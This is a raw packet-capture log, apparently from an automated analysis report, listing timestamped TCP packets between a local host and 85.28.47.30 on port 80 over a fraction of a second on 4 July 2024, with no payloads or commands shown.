Jul 4, 2024 22:20:31.555299044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.555309057 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.555321932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.555330992 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.555332899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.555339098 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.555345058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.555355072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.555356026 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.555371046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.555381060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.555382013 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.555391073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.555402994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.555403948 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.555413961 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.555419922 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.555425882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.555443048 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.555474997 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.556291103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.556302071 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.556312084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.556324005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.556334019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.556340933 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.556344986 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.556349993 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.556355953 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.556368113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.556377888 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.556377888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.556390047 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.556400061 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.556405067 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.556411028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.556423903 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.556425095 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.556437969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.556437969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.556463957 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.556483984 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.557106972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.557118893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.557127953 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.557137966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.557148933 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.557154894 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.557159901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.557172060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.557183027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.557183027 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.557199001 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.557202101 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.557210922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.557219982 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.557223082 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.557231903 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.557243109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.557249069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.557255983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.557262897 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.557281017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.557302952 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.558073997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558084965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558095932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558106899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558118105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558120012 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.558130026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558141947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558142900 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.558154106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558155060 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.558166027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558176994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558180094 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.558187962 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558197975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558204889 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.558208942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558219910 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.558238983 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.558260918 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.558865070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558876991 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558886051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558897018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558907032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558917046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558926105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.558933020 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558944941 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558947086 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.558947086 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.558958054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558967113 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.558970928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558981895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558991909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.558994055 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.559004068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.559009075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.559016943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.559052944 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.559482098 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.559937000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.559948921 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.559958935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.559969902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.559978008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.559983969 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.559998035 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.560019970 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.646928072 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.646939039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.646950006 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647012949 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.647089958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647102118 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647114038 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647157907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.647157907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.647264957 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647274971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647284031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647294044 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647305965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647310972 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.647316933 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647332907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.647367954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.647367954 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.647756100 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647768021 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647778034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647788048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647794962 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.647794962 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.647799969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647816896 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647819042 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.647828102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647838116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647849083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647859097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647866964 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.647866964 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.647870064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647881031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647892952 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.647914886 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.647914886 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.647934914 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.648474932 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.648489952 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.648530960 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.648638010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.648648024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.648658037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.648690939 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.648690939 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.648710966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.648726940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.648737907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.648761034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.648765087 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.648771048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.648780107 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.648782969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.648794889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.648807049 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.648814917 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.648818970 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.648827076 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.648830891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.648840904 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.648854971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.648855925 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.648870945 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.648899078 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.649688959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.649699926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.649709940 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.649722099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.649733067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.649739027 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.649744034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.649758101 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.649769068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.649771929 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.649771929 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.649780035 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.649791002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.649800062 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.649821043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.649847984 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.650238037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.650249004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.650259018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.650269032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.650280952 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.650290966 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.650300026 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.650312901 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.650331020 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.650552988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.650607109 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.650615931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.650628090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.650655985 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.650670052 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.650774002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.650785923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.650794983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.650806904 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.650830984 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.650857925 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.651050091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651061058 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651082039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651093006 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651102066 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651112080 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.651112080 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.651113033 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651129007 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651139021 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651149988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651164055 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.651164055 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.651190042 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.651204109 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.651787043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651798964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651807070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651818037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651828051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651839018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651842117 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.651849985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651860952 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651865005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.651874065 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651884079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651895046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651897907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.651897907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.651906013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651916981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651925087 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.651928902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.651937962 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.651973963 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.651973963 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.652771950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.652784109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.652793884 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.652805090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.652815104 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.652827024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.652837992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.652846098 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.652846098 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.652849913 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.652861118 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.652862072 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.652872086 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.652884960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.652895927 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.652898073 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.652898073 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.652906895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.652916908 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.652939081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.652939081 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.653733969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.653744936 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.653753996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.653764963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.653774977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.653785944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.653785944 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.653798103 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.653800011 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.653830051 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.653830051 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.745439053 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.745482922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.745496988 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.745500088 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.745533943 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.745533943 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.745557070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.745568037 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.745578051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.745589972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.745608091 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.745608091 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.745640039 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.746504068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.746514082 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.746566057 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.746702909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.746748924 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.746762991 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.746773958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.746810913 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.746810913 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.746963024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.746973991 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.746984959 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.746994972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747018099 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.747052908 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.747236013 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747246981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747256994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747267962 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747278929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747289896 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747294903 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.747294903 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.747301102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747313023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747323990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747338057 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.747338057 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.747358084 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:31.747872114 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747883081 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:31.747891903 CEST	80	49704	85.28.47.30	192.168.2.5
